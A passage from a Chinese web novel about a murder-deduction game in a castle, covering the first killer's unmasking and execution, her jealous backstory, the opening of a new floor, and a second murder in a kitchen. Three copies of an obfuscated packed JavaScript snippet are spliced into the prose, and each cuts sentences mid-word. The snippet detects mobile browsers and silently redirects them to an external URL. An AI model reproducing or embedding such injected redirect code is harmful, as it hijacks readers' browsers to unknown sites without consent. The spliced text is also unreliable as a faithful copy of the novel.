“因为不知道司雪和秦意月会去哪个冷藏室,所以蒋容干脆将两部备用机都用上,这也是两个冷藏室都有手机的原因。”尤烟道。 好在她事无巨细地调查了2号冷藏室的周围环境,否则还真发现不了这部手机。 蒋容藏手机藏得很深,可惜搜寻证据的人是尤烟。 “至于蒋容为何会出现在走廊……”尤烟道,“或许是因为她想知道秦意月是否杀了人,所以去冷藏室差看情况吧。” 好巧不巧,正是那个时候,柏峰看见了蒋容。 至此,线索给完,真相大白。 会议室一片寂静。 突然,不合时宜的掌声响起,众人看向声源,竟然是褚河在鼓掌。 “精彩的推理,不管是证据的拿捏还是逻辑的顺畅,都值得大家鼓掌,不是吗?”褚河松散地靠在椅子上,淡笑着说,“来来,大家可以开始投票了。我不改票。” 他从一开始就投的秦意月,和尤烟、祁迎风一样。 众人纷纷表态,连一直默不作声的娄祎也将票投给了秦意月。 最后,除了石子嘉和郁渚飞,以及秦意月本人,所有人都认定凶手是秦意月。 要说石子嘉坚定不移自己的目标倒也不全对,他只是不想在人前低头罢了。 是秦意月就是吧,凶手是谁并不重要,少他这一票也不重要。 “嗯……让鄙人看看,蒋容3票,秦意月9票。看来大家都投好了。”花与酒不知从哪变出一把小锤子,跟拍卖会似的,敲了敲椅子扶手,“那么,接下来,就让我们看看真正的凶手是谁吧——” 空心圆会议桌的中心地板打开,一个写有玩家名字的电子大转盘缓缓往上移动。 与此同时,十二名男仆围了一圈,举起手枪,对准不同人的后脑勺。 8. 嫉妒 尤烟、褚河、祁迎风、石子嘉、闫志涛…… 所有人的名字在电子转盘中间的屏幕里轮番出现,看得人心惊胆战,如同上课走神的人突然发现老师在点名抽问。 准确来说,这比抽问还要恐怖。 一旦投票结果与屏幕中的名字不一致,十一个人都将死于枪下。 玩家们安静下来,紧张地盯着屏幕,空气里只有心跳声和屏幕自带的音效。 转盘刷新频率变缓,直到停留在一个名字上。 秦意月。 推测结果正确! 他们可以不用死了! 缓过神来后,所有人的目光齐齐投向秦意月。 这个看起来内向柔弱的女子,居然是这场游戏的第一位凶手,最重要的是,她杀的还是最亲密的队友。 当注意到每个人都在看自己时,秦意月慢慢地瞪大了眼睛,然后再也忍不住,尖叫起来。 “啊——啊——啊——”秦意月像疯子一样大吼大叫,阻止任何人说话,同时对着桌椅拳打脚踢,甚至一把抓起司雪的遗照,狠狠摔在地上。 “啪——” 一声脆响,玻璃框碎成渣。 “你就该死!”秦意月使劲地踩司雪微笑着的照片,癫狂道,“凭什么你比我优秀,凭什么你的人气比我高?!” 人们震惊地看着她,无法将现在的疯子与最初那位美好的歌手联系起来。 旁边的人想要上前说两句,谁知下一秒,秦意月身后的男仆扣动并按下了扳机。 “砰——” 血液和脑花混杂着喷薄而出。 刺耳的尖叫声停下,秦意月瞪着的眼睛里满是不甘心。她重重倒地,在失去意识的前一秒,记忆不由飘向了曾经。 …… …… 秦意月从小就是一个安静内向但自我意识强烈的人。 秦意月8岁时,父亲白手起家,开了一家大型建材工厂,自那以后,秦家人的生活越来越好。 忙于工作的秦父秦母没有时间照顾秦意月,想寻找保姆,却被秦爷爷和秦奶奶阻止。 “干啥花那个钱,我跟你妈又不是老得不能带孩子了,把月月交给我们,我们来带。”秦爷爷如是说。 拗不过老人家的要求,秦父只能将秦意月交给他们。 秦爷爷和秦奶奶住在老家,不愿意来大城市,因此,秦意月不得不转学到老家。 过过好日子的秦意月并不习惯乡下的生活,日日啜泣,却被爷爷奶奶指责不能吃苦。爷爷奶奶让她好好学习,但凡考试没考满分,就会动手打她。最严重的一次,爷爷将秦意月打进医院,还不让秦意月打电话告诉秦父秦母。 秦意月憎恨爷爷,于是心生一计并实行,让村里人以为爷爷偷了卫生所的昂贵药品,误人治病,从而被村民人人喊骂。 计划成功后,秦意月对自己越发满意。她发誓,绝不让人再欺负自己。 秦意月毕竟是过惯了城市生活的孩子,她打心眼里瞧不上粗鄙的乡巴佬同学。同时,她高高在上的姿态让同学不适。久而久之,秦意月被孤立了,但她不在乎,因为只要她回到父母身边,她就可以交到同样有钱有见识的朋友。 有一天,同学们聚集在一起,观看老师带来的小电视,电视里的明星美丽耀眼,深深吸引着年幼的孩子们。 秦意月路过时看到这一幕,冷笑一声,说:“以后你们也只配挤在一起仰视我,就像现在这样。” 为了高考,秦父秦母终于在秦意月高二时将其接回身边。 秦意月选择了走艺考路线,以极佳的成绩进入国内最好的戏剧学院。没多久,秦意月报名参加了一档选秀综艺节目,最后脱颖而出,成为双人女团的其中一位成员。 秦意月的队友是司雪,一位阳光开朗的女生。 在综艺节目当中,二人的人气不相上下,可自从出道后,司雪像爽文女主一样一路青云,流量口碑双丰收,秦意月却止步不前。 秦意月不理解,同样的舞姿、同样的唱功、同样的团队运作……凭什么,凭什么司雪的人气就是比她高? 为了火,秦意月像曾经对付爷爷那样对付司雪,用尽手段打压司雪。 可惜,事与愿违,司雪本身干干净净,一次次告黑、一次次辟谣,让司雪的人气不减反增。 反观秦意月,被人爆出若干真实黑料,路人缘几乎全失。 从未失败的秦意月在司雪身上遭到了巨大的打击。 秦意月本以为真的拿司雪没办法了,谁知天降机会,她获得了一封邀请函,以及铲除司雪的机会。 在克修克尔城堡中,秦意月和往常一样,以内向、不爱说话的人设示人,让所有人降低对她的防御力。 当管家花与酒说完游戏规则、蒋容提出疑问的那一刻,秦意月开始畅想自己杀了司雪之后,自己风光无限的场景。 她要许愿,成为最耀眼的明星,无人能敌她流量。 在派对中,秦意月见司雪离开,戴上手套、拿走手边的水果刀,趁人不注意时也出了房间。 在冷藏室中,秦意月听到不知从哪传出的司雪的获奖感言,完全失去理智,捅杀司雪。 计划和实践到底是两回事,尤其是秦意月到底有所冲动,因此,在她杀人后,她慌乱地丢了水果刀,不管司雪究竟是否死亡,当即逃离了现场。 秦意月销毁了橡胶手套,本以为可以高枕无忧,谁知,有人这般轻松地看透了她。 …… …… 原来死亡时这种感觉吗? 秦意月的回忆只在一瞬间,最后,她在心里自问。 可惜她没有机会自答了。 …… …… 目击一个活生生的人经历非自然死亡,正常人都会受不了,甚至或多或少地遭受心理创伤。 几个玩家不受控地失声尖叫、呕吐,最严重的柏峰和闫志涛还晕了过去。 石子嘉想稳住自己的状态,可惜生理情况有时并非理智能控制,他的喉咙窜出恶心的酸味,到最后,他终于忍不住,大吐特吐。 “我有一个问题,”褚河的坐姿和态度从始至终,懒散从容,“秦意月要杀司雪,蒋容是如何得知的?” 这个问题一出,众人才发现自己忽视了一个很关键的细节。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449010|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对啊,蒋容又不是秦意月肚子里的蛔虫,她怎么知道秦意月要杀人?! 蒋容已经意识模糊,即使此事与自己有关,也分不出精力听和辩解。倒是其他人,纷纷看向尤烟,等待她解释。 “很简单,”尤烟说,“从进入城堡开始,蒋容就一直在观察司雪和秦意月。” 所以蒋容才能发现秦意月的心思和行动,并提前做好“助攻”准备。 接下来的思路同前面所说,蒋容不知司雪会去哪个冷藏室,所以在两个地方都放了一部手机。 晚些时候,蒋容返场,那时司雪还没有死,甚至向门外爬动、呼救,蒋容立即关闭冷藏室的门,任由大门掩盖司雪的求救声。 水果刀没有指纹,因为人是秦意月杀的,秦意月有所留意。 门把手上有指纹,因为门是蒋容关的,蒋容忽视了这一细节。 冷藏室的门很厚,隔音效果也好,门一旦关上,等于里外隔绝。 司雪的求救信号,发送失败。 司雪最后的生还机会,就此葬送。 蒋容走后,柏峰恰巧路过,试问,如果蒋容没有关门,听到呼救声的柏峰是否会挽救一条无辜的生命?另外,如果没有这次主动杀人的开头,这场荒唐的游戏是否会中止? 可惜,没有如果。 …… …… 从会议室出来以后,玩家三三两两站队,一起回房间,蒋容则被孤立出去。 凶手是秦意月,可蒋容也不无辜,谁都害怕身边有个随时会背刺朋友的人。 石子嘉经过尤烟身边时,不甘心地看了她一眼,显然不服气尤烟能找出正确的凶手,而他不行。 当然,现在是大家最疲惫的时候,石子嘉并没有多说,和同学郁渚飞一同离去。 晕过去的人还没有醒来,被男仆抬去房间。 “看来这场游戏不得不进行下去了。”说是这么说,褚河的语气和神态却丝毫不见紧张,“祝二位好运,也祝我好运。”说完,他戴上头戴式耳机,摆摆手,走了。 尤烟回头看了一眼会议室。 是啊,这场游戏,不得不进行下去了。 …… …… 才睡两个小时,尤烟实在太困,回房间补觉,一直到晚上九点才醒。 床头柜上有个复古座机,用这个能联系食堂的女佣,比点外卖还方便。老规矩,尤烟要了份汉堡和冰可乐。 点完单后,尤烟缩下去,躺在床上,看着天花板的繁复花纹,发呆。 她没有忘记来克修克尔城堡的目的,只是这座城堡太大了,她不可能角角落落翻个遍,这样效率太低。 得找个突破口。 过了一段时间,门被敲响,尤烟开门一看,发现送汉堡可乐的不是女佣,而是黄毛祁迎风。 “你连食堂都懒得去啊。”祁迎风应该是路过,恰好碰到送餐的人,替了对方的活儿,“跟你说个事。” “什么?”尤烟拿过汉堡,边开袋边问。 “三楼开放了。”祁迎风说,“要去看看吗?” 尤烟咬了一口汉堡,说:“去。” 9. 三楼 花与酒说过,新楼层会适时开放,现在看来,这个“适时”也许是指对真凶之后。 “你去过了吗?”尤烟问。 别看尤烟一天到晚除了吃就是睡,其实她找过时间探索克修克尔城堡已开放的主要建筑和房间了,整座城堡在她的脑海里早已形成了具体形象的地图。 她带着祁迎风一起去离此处最近的楼梯。 祁迎风摇头:“晚上八点才开放的,我光顾着看一二楼的情况去了,还没时间去三楼。” 距离短,二人很快就来到了楼梯口。 令人惊讶的是,有一人正等在此处。 褚河。 褚河双手插裤兜,随意地靠在墙上。他戴着头戴式耳机,嘴里自然而然地唱着歌,不过调子没一个是准的。 尤烟觉得他唱歌还挺好听。 祁迎风看看褚河,又看看尤烟,懂她在想什么了。 算了,五音不全的人听谁唱歌都觉得好听。 “在等我们?”尤烟难得主动打招呼。 褚河是个特别的人,但尤烟见过很多比他更特别的人,因此,如果在平时,尤烟不一定会注意到他,偏偏在这场只有十三名玩家的游戏中,褚河最值得她关注。 “是啊,”褚河听到动静,取下耳机,挂在脖颈上,“吃过晚饭了吗?” 尤烟擦擦嘴角:“吃了。” 褚河提议:“一起上去看看?” 尤烟点头:“嗯。” 二人一同上楼,猜测楼上会有什么,一时忽视了后面的祁迎风。 祁迎风有些无奈,想像之前那样打断褚河,但转念一想大小姐难得跟陌生人有共同话语,他还是别管太多了。 三楼有很多房间,虽然没人住,但一尘不染,所有东西都像新的一样。 在经过一间房间的时候,尤烟隐约听到声音,靠近仔细听,竟然是日语,听语气,很像动漫。 “《死亡笔记》。”尤烟听到了关键词,下意识地说出来。 “你听得懂日语?”褚河重点稍偏。 “嗯。” 一旁的祁迎风在心里狠狠夸尤烟,她可是精通中、英、日、韩、俄、德、西班牙七国语言的人,跟着她出国,完全不用担心语言不通。 想完,祁迎风说重点:“我记得炫哥很喜欢这部动漫。” 《死亡笔记》又称dn,可以说是尤炫每年必刷的一部动漫。作为一个不怎么看番剧的人,能让尤炫如此,可见那部动漫对他来说意义有多大。 褚河走进房间,看见窗台前的书桌上放有一台笔记本电脑,而电脑里播放的正是dn。 褚河回头看跟进来的尤烟,问:“你们来参加这个游戏的目的,是找人?” 祁迎风后知后觉自己不该多嘴。 尤烟倒不在意。褚河是个聪明人,心里该有分寸和边界。再说,万一褚河歪打正着发现了线索,还能跟他们分享,不是吗? “这你也能猜到?”祁迎风见尤烟不在乎,松了口气。 只要一切在尤烟的掌握之中就行。 “尤烟不像会主动探索的人,”褚河笑笑,说,“能让她走出房间,来到这里,多半是在寻找或证实什么她感兴趣的事。” 祁迎风:“……” 这才相处多久,褚河竟能看出尤烟的本质特征。 怪物。 “我在找我哥哥。”尤烟直接说了,“如果你能找到类似的线索,可以告诉我。” “‘类似的线索’?”褚河反手指了指身后的电脑,“你觉得这部动漫算线索?” “嗯。”多余的,尤烟没有说。 “行啊。”褚河笑道,爽快答应,转口又道,“你哥哥,有没有可能与这座城堡的主人认识?” 祁迎风疑惑:“怎么会这么问?” 他不记得尤炫与埃克塞特这边的人有联系。 “一个世纪前的城堡里播放着零几年的动漫,你不认为很突兀吗?”褚河反问。 言下之意,他觉得这是有人特意安排的,而且那人很了解尤炫。 尤烟说:“不知道。” 字面意思的不知道。 尤烟不擅长关心照顾别人,几乎不会主动与尤炫说话,只在尤炫需要帮助的时候出手相助。 尤炫只做不说,他为妹妹排除安全隐患、提供丰富的物质资源、让祁迎风随时关注尤烟的情绪……但他从来不邀功,把以上一切当作兄长的职责,尽心尽力。 兄妹二人在工作方面能彻夜长谈,在生活方面却少有交流。 所以尤烟对尤炫并不了解。 若非尤炫是她的哥哥,若非尤炫为她做过那么多事,即使是顺便,尤烟也不会找他。 “照你的意思,”尤烟回过神来,“说不通。” 当祁迎风还在想什么东西说不通时,褚河已经跟上尤烟的思路。 褚河问:“为什么?” “这个城堡的主人了解我们每一个人。”尤烟肯定地说道。 不光是玩家们的基本信息,还包括玩家之间的联系和每位玩家的心理状态、欲望。 司雪和秦意月的死是最佳证明。 秦意月嫉妒司雪,嫉妒到想杀司雪。蒋容也有自己的小心思,因此在其中斡旋并获利。 也就是说,城堡主人熟悉的不只是尤炫,还有其他玩家。 “所以你的意思是,你的兄长不一定与这座城堡有联系,城堡主人却让你认为二者之间有联系?”褚河问。 尤烟沉默。 她不确定。 尤炫的失踪是事实,至于是否与城堡主人有关,她真的不知道。 “我还挺好奇的,”褚河走到一旁,坐下,跷起腿,左手伸放在桌上,“城堡主人邀请我们来,到底是为了什么。图一乐?” 祁迎风说:“又不是不可能。有的心理变态比这城堡主人更神经。” 褚河道:“可城堡主人的代价是否太大?” “万一人家有钱,闲的呢。” 褚河笑笑,不言。 尤烟说:“去其他地方看看。”说着率先出门。 三楼很大,尤烟挑了几个地方仔细检查,可惜没什么重要的线索。 三楼有一个大厨房,传来爆炒肉类的香味,辣辣的、呛呛的,闻着喷香,让人不断地分泌唾液。 现在是晚上十点四十,尤烟饿了。 她丢下身后的两个男人,二话不说窜进厨房。 没想到厨房里早就聚集了好几位玩家。 “唉,尤烟?”正在装盘爆炒五花肉的邓有利看到进门的人,连忙招呼,“刚刚去找你们都没见着人,你们去哪儿了?” 尤烟盯他两秒,回头找祁迎风。 祁迎风刚好进来,替她答:“我们去别的地方逛了逛。你们这是在干什么呢?” 邓有利道:“三楼不是开放了吗,我上来随便看看,结果发现了这个厨房。我本职工作是美食博主,看到食材和厨房,就走不动道了。闲着也是闲着,就喊大家来吃我做的菜。” 尤烟三人走过去,看长桌上摆放的菜。 爆炒五花肉是最新鲜出炉的,被煎得恰到好处的青椒散发着诱人的焦香味,最绝的是蒜香,碎蒜被油脂裹挟,随油脂分子一起在空气中跳跃,勾着所有人的胃。 除了爆炒五花肉,还有宫保鸡丁、牛肉粉丝煲、水煮鱼和炒时蔬。 每一道都色香味俱全。 该说不说,还好在座的都是中国人,就算城堡不提供中国菜,也不用担心吃不到好吃的。 尤烟的眼睛光往餐桌瞟,但是又不好意思,直到邓有利“一声令下”说开饭,她才拿上几套碗筷移过去。 除了刚到的尤烟等三人和邓有利,来吃饭的还有杨一旭、柏峰、闫志涛和石子嘉。 “你们仨这么形影不离,别到时候一起耍花招,把我们坑了。”石子嘉见到尤烟,心情不佳,语气也变冲,“这么能说会道,可不要把其他人带进坑里去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449011|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤烟不知道他在说自己,自顾自吃饭。 她喜欢吃汉堡,不代表不喜欢吃饭菜。只是吃汉堡更方便而已,现在饿了,吃什么对她来说都一样。 尤烟没理解石子嘉的意思,祁迎风却听得明明白白。 “小同学你这么聪明,怎么会说出这种话呢?”祁迎风跟个炸毛的猫一样,比石子嘉还阴阳怪气,“游戏规则是只能活一个,我们仨是连体婴吗?” 尤烟,吃饭暂停,侧首:“?” 他在说什么? 褚河笑着摇摇头。 祁迎风没意识到自己说了个笑话,还一本正经地盯着石子嘉。 “呵呵,你们最好别乱带节奏。”石子嘉把眼镜取下,放在一旁,然后低头吃饭,不再说话。 话题到这个地步,邓有利忍不住问:“我们不会真的要被花与酒牵着鼻子走吧?要不要试试反抗?” 杨一旭冷哼一声,道:“怎么反抗?不怕又被他拿枪指着?” 柏峰闻言,猛地从座位上站起来,拽住杨一旭的领口:“你他大爷的,什么意思?你在嘲笑我?” 花与酒用枪恐吓柏峰,把柏峰整得PTSD,别人稍微一提,即使没有说他,他也应激,以为别人在笑话自己。 “我,我哪有?!”杨一旭梗着脖子,道。 “别激动,别吵架,有话好好说。”邓有利连忙劝说。 柏峰见杨一旭胆小,更来劲:“如果不是联系不到外界,如果不是没有枪,我早就把花与酒打趴了。你们都不敢站出来,凭什么笑我?” 邓有利道:“我们没有笑话你,杨一旭肯定也不是这个意思。” 杨一旭连连点头:“我哪儿有笑你。” 邓有利说:“你是第一个站出来反抗的,我们佩服你,真的。” 他的语气和神态都很真诚,柏峰信了,渐渐松手,哼了声,重新坐好。 杨一旭松口气,在心里暗骂柏峰。 “尤烟那么聪明,怎么不想想办法?”石子嘉把矛头引向尤烟,“你认为我们该怎么办?” 别人碗里的饭还没怎么动,尤烟已吃得差不多。 尤烟吃饱了,抬头,说:“随便。” 他爱怎么办就怎么办呗,跟她有什么关系。 邓有利生怕这二人也闹矛盾,连忙转移话题:“大家别光顾着说话,快吃呀。我好歹是全网几百万粉丝的美食博主,做出来的饭菜总不至于不好吃吧?” “吃,我先吃了。”杨一旭把最喜欢的一盘菜移到自己面前。 吃完饭后,柏杨石闫四人先行离开,祁迎风留下来帮邓有利收拾厨房,尤烟和褚河在旁边坐着聊天。 尤烟吃饱了,瘫在椅子上,伸着腿,没个坐相。 “其实,我也挺好奇你想怎么破局的。”褚河也靠着,侧首看她。 “你的好奇心真重。”几秒后,尤烟说。 “人总该保持好奇心。” “是吗?”在尤烟的记忆里,有不少人因知道太多而被杀害,“好奇心会害死猫。” 有时候,少好奇、少知道一点事情,不是坏事。 听到这句谚语,褚河的思绪渐渐飘远,仿佛想到什么往事,但他很快就回过神来:“我母亲也跟我说过这句话,但,我仍觉得拥有好奇心是一种珍贵的品质。” 尤烟不说话了。 “你还没有回答我呢。”褚河把话题拉回去。 “走一步看一步吧。”尤烟不介意慢慢探索。 “好吧。” 尤烟纠结一分钟,问:“你参加这个游戏,真的只是因为好奇?” “是啊。” 尤烟再次沉默。 他还真大胆。 不过,他说得对,拥有好奇心是一种珍贵的品质。 尤其是对于她这种人来说。 或许,他也一样。 祁迎风和邓有利把厨房收拾干净了,邓有利连连感谢。接着,四人一同出厨房,回自己的房间。 10. 厨房 邓有利是真的很喜欢做饭,每天都要去三楼的大厨房下厨,连花与酒都开玩笑说城堡里的厨师成了摆设。 他真正热爱着自己的工作,也热情地招呼大家一起吃,让本来互相提防的一群陌生人渐渐能心平气和地说上几句话了。 尤烟不想出门的时候就让祁迎风帮忙打包,有时候连褚河会被她“使唤”。 祁迎风觉得邓有利实在太会做菜,于是请求跟他学习一段时间,邓有利爽快地答应下来。 晚上九点四十,祁迎风来到三楼大厨房,谁知邓有利比他还早。 “不是说十点钟吗,你这么快就来了?”邓有利正在择菜,见祁迎风早到,稍稍惊讶。 “你比我还早。”祁迎风哭笑不得。 二人约定的时间是晚上十点,谁知一个来得比一个早。 邓有利哈哈大笑:“习惯了习惯了。”他问,“你想学做什么菜?” 祁迎风想想,说:“可以稍微难一点。”他说明自己的情况,“我只会做一些家常菜。难点的,红烧鲫鱼、清蒸鲈鱼、酸菜鱼……嗯,差不多就是这样。” “你喜欢吃鱼?”邓有利竖大拇指,调侃,“难怪聪明。” 对于邓有利来说,祁迎风会验尸、反应快,就是聪明人。 “哈哈哈,不是,”祁迎风笑道,“是尤烟喜欢吃。” “尤烟?”邓有利有印象,那是个比聪明人还聪明的人,“你们是兄妹?感觉你挺照顾她的,不过看举动不像是男女朋友。” 祁迎风点头:“算是吧。嗯……要不麻烦你教我炸□□?” 炸鸡也是尤烟的爱食,外面卖的炸鸡不甚干净,要是他学会了,还能给尤烟做,健不健康不说,至少干净。 “可以呀,我去一楼抓只活的。”别的地方不重要,跟食材有关的地方,都被邓有利摸了个遍。 沿着一楼后门直走,有一处专门用于圈养肉鸡等家畜。 邓有利和祁迎风一同去抓鸡,邓有利熟练的动作让祁迎风拍手叫好。 “会杀鸡吗?”邓有利抓了两只,分给祁迎风一只,“这样,你跟着我一起,我做一步,你跟一步。” “好啊,太感谢你了。” “嗐,小事。有人愿意跟我学,这是对我厨艺的肯定,我高兴着呢。”邓有利笑道。 正式开始前,邓有利要上厕所,出去了一趟,回来之后发现厨房鸡飞狗跳,盘子碎了不少,地上还有鸡屎。 邓有利神情呆滞地关上门,擦擦眼睛,重新开门。 脏乱差。 不是,他不就去上了个厕所吗,前前后后不过十来分钟,厨房怎么变成这样了? 祁迎风突然从桌下冒出,头上贴有两片羽毛,手里还抓着一只鸡。 看到震惊的邓有利,祁迎风尴尬地咳一声:“刚刚逗它们玩,它们太能折腾,把绳子给挣开了。” 鸡跑,祁迎风追,可惜他不是邓有利,逮不住鸡,闹半天,厨房就成了这样。 邓有利无奈,好笑道:“你还真是……” 他脾气好,没有责骂祁迎风,而是重新把鸡捆好,然后耐心地收拾厨房,顺便把接下来要进行的杀鸡过程简单地讲一遍。 邓有利像变魔术一样,只用四十多分钟就让厨房恢复原状。 “我也得去上个厕所了。”祁迎风捂着肚子,有点难受,“生物钟响了。” “哈哈哈哈哈哈,”邓有利大笑,“好好,你去吧,我等你。” “实在不好意思啊,浪费你这么多时间。”祁迎风懊恼。 他俩九点半的时候汇合,结果现在快十一点了,还没正式开始。 “没事。你快去吧,别憋坏了。”邓有利特意提醒,“出门左转直走,再转,大概几分钟能到。” “好。我速战速决。”祁迎风小跑着去找厕所。 …… …… 上完厕所,祁迎风感觉身体都畅快了。 洗手的时候,尤烟打来电话,祁迎风手上都是泡沫,只能开免提。 在装有信号屏蔽器的克修克尔城堡,按理来说没办法打电话,不过游戏方将玩家们的手机号加入了白名单,因此打电话是没问题的。 “你在哪?”尤烟问。 “三楼。怎么了?”祁迎风边洗手边回话。 “你在邓有利那儿?那你下来的时候帮我带份吃的,什么都行。” “行。稍微晚点。” “好。”尤烟挂断电话。 祁迎风擦干手,拿上手机准备回厨房,结果没走几步,肚子又痛起来,没法,他只好再去蹲一次。 彻底舒畅后,祁迎风迈着轻快的步子返回大厨房。 靠近厨房时,祁迎风隐约闻到了血腥味,他以为邓有利等不及,先给鸡放血了,正想戏谑对方心急,谁知推开门后,第一眼看到的是倒在血泊中的邓有利。 “邓有利?邓有利!”祁迎风瞪大眼睛,满脸不可置信。 他靠近邓有利,却发现邓有利已经没了呼吸。 祁迎风连忙给尤烟打电话:“尤,尤烟,三楼大厨房,你快来,你快来!出事了!” …… …… 死者被玩家发现后,花与酒第一时间派人将信息传达给其他玩家。 十一点半,活着的十名玩家全部聚集在大厨房的门口。 “这么晚,你怎么还在这边?”石子嘉盯着祁迎风,发出第一个疑问。 祁迎风老实回答:“我跟他学做饭。” 石子嘉道:“这个时候学做饭?我们能信?而且,所有人都在自己的房间休息,为什么偏偏你俩在外面?” 杨一旭怕得罪暴脾气的柏峰,却不怕祁迎风,闻言,跟着道:“大晚上把人约出来杀呗,要我说,这次的凶手肯定是他。” 闫志涛拿着梳子梳自己的莫西干头:“急什么,先拿出证据。我可不想因为你们指错人而莫名其妙死掉。” 褚河对此表示赞同。 “把人抬走,准备工具。”尤烟转身看向花与酒,对方正微笑着看好戏。 石子嘉皱眉:“你要干什么?验尸?祁迎风是嫌疑人,你是他朋友,我们怎么知道你会不会包庇他?” 尤烟舒口气,顿几秒,问:“要不你来?” 她是会呛人的,只是自己没意识到。 石子嘉只是个普通大学生,他哪里会验尸。 “不要破坏现场。”离开之前,尤烟留下这么一句话。 石子嘉愠怒,不过尤烟已走,他没法向本人发作,只能将矛头对准祁迎风:“你是唯一一个没有不在场证明的人,只要我找到证据,就能证明你是凶手。” 邓有利的死让祁迎风心不在焉,压根没听石子嘉说话。 祁迎风耷拉脑袋,眉上两颗痣都变得郁郁。 邓有利待人温和,就算祁迎风给他添那么多麻烦,他也没说什么。最重要的是,邓有利是在祁迎风离开厨房后死的,。 如果他不去上厕所,或者把邓有利喊上,或许邓有利就不会死。 祁迎风越想,心里的愧疚越深。 石子嘉得不到回应,更气。他进入厨房,准备寻找线索。 “你要干什么?”祁迎风的余光瞥见人影窜进厨房,一个激灵,当即拉住石子嘉。 柏峰凑热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449012|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹不嫌事大:“人家要找证据证明你是凶手。要我说,你还真有可能是凶手。” 现在不是走神的时候,祁迎风逼着自己沉下心来思考。 “你们都认为只有我没有不在场证明,那么你们的证据呢?你们能证明自己事发时都在房间吗?”祁迎风将石子嘉拦在门外,同时环视门外的七个人。 是了,从一开始,所有人都认定祁迎风在案发现场,也许有的人的确在房间,但绝非全部。 总之,作为没有杀人的人,祁迎风敢肯定,有人在撒谎。 会是谁? 此前就害过人的蒋容?头头是歪理的石子嘉?总是凑热闹的杨一旭?暴躁得像是随时会砍人的柏峰?还是……另有其人? “我和志涛在看电影。”石子嘉证明自己。 褚河笑眯眯地来一句:“你们不是同学吗,万一互相作假呢?” 石子嘉用同样的话术怼过尤烟等人,现在遇到同样的质问,又气又急,脸都红了。 祁迎风看了褚河一眼。 这人总穿着花里胡哨的衣服裤子,跟个玩世不恭的二世祖,偏偏他又有强大的气场,让人难以轻视。 “既然大家都没有不在场证明,就等尸检报告出来吧。”祁迎风道。 石子嘉不甘心:“万一尤烟是凶手呢?” 祁迎风感觉自己拳头都硬了。他脾气不差,但他快被石子嘉说烦了。 这人怎么这么不讲道理啊…… 算了算了,祁迎风在心里说服自己。 尤烟在第一轮的游戏中表现出色,被人忌惮也正常。 和狼人杀卡牌游戏一样,玩家往往会把最会玩游戏的人票出去,即使那人也许不是狼人。 再说,这些人不了解尤烟,完全意识不到尤烟的真正实力。 要是尤烟想获胜,早在第一轮就把这群人忽悠死了。 “你总说人家是凶手,那么你呢,你就不可能是凶手?”祁迎风怼归怼,语气并不差。 不得不说,石子嘉真是运气好,没有被柏峰这种暴脾气恐吓,他针对的都是脾气好的人。 石子嘉固执道:“我知道自己做没做,但不知道你们做没做,我只相信我自己。” 祁迎风:“……” 难道就你石子嘉一个人那么想吗? 算了,不想跟他讲道理了,讲不通。 等待的时候,所有人都在对峙,只有褚河在悄悄观察厨房内部情况,当看到墙壁上挂着的一排刀时,他的视线短暂停留。 又过了一段时间,尤烟总算回来,手里拿有一份报告,也是手绘的。 尤烟将图纸递给祁迎风,一直闷闷不乐的祁迎风在看到图纸后突然笑出声。 褚河凑过去一看,笑得更夸张。 尤烟:“……?” 褚河一本正经地点评:“有点抽象,不过能看懂。” 线条歪歪扭扭,一些地方被铅笔擦黑,让整个图纸看起来跟被人踩过似的。 当然,如褚河所说,图纸想传递的信息一目了然。 “致命伤只有一处,在肾的位置,伤口很深,几乎碰到了刀柄。”褚河分析,然后将图纸递给其他人看。 石子嘉看了半天,终于理解褚河的意思,接着严肃地赞同:“他没说错。” 像数学老师讲完压轴题,装学霸的学生点头夸奖,还想顺带证明自己比老师更懂。 “没人进去看过?”尤烟没理石子嘉,问祁迎风。 祁迎风点头。 尤烟进入厨房。 褚河一直靠在墙边,跟没骨头似的,见尤烟要进去,总算有了反应,跟上她的脚步。 11. 调查 尤烟先是观察整个厨房,从左到右,从外到里;接着,她戴上手套,将疑似凶器的一把大菜刀装入塑料袋;最后,她的目光锁定在一排菜刀上。 观察邓有利的伤口,比对厨房内的器具,不难推断出凶器是一把菜刀。 当然,不排除凶手将凶器带走的可能。 按尤烟的习惯,首先验证直觉,其次考虑其他可能性。她的直觉向来准,为她破案提供了很大的帮助。 凶器也许是塑料袋里的这把,可…… 尤烟低头,轻摇手里的塑料袋,刀柄小幅度地晃了晃。 果然。 “有看出什么吗?”褚河坐在餐桌边,撑着半张脸,歪头看尤烟。 “刀。”尤烟一边说,一边走到那面墙前。 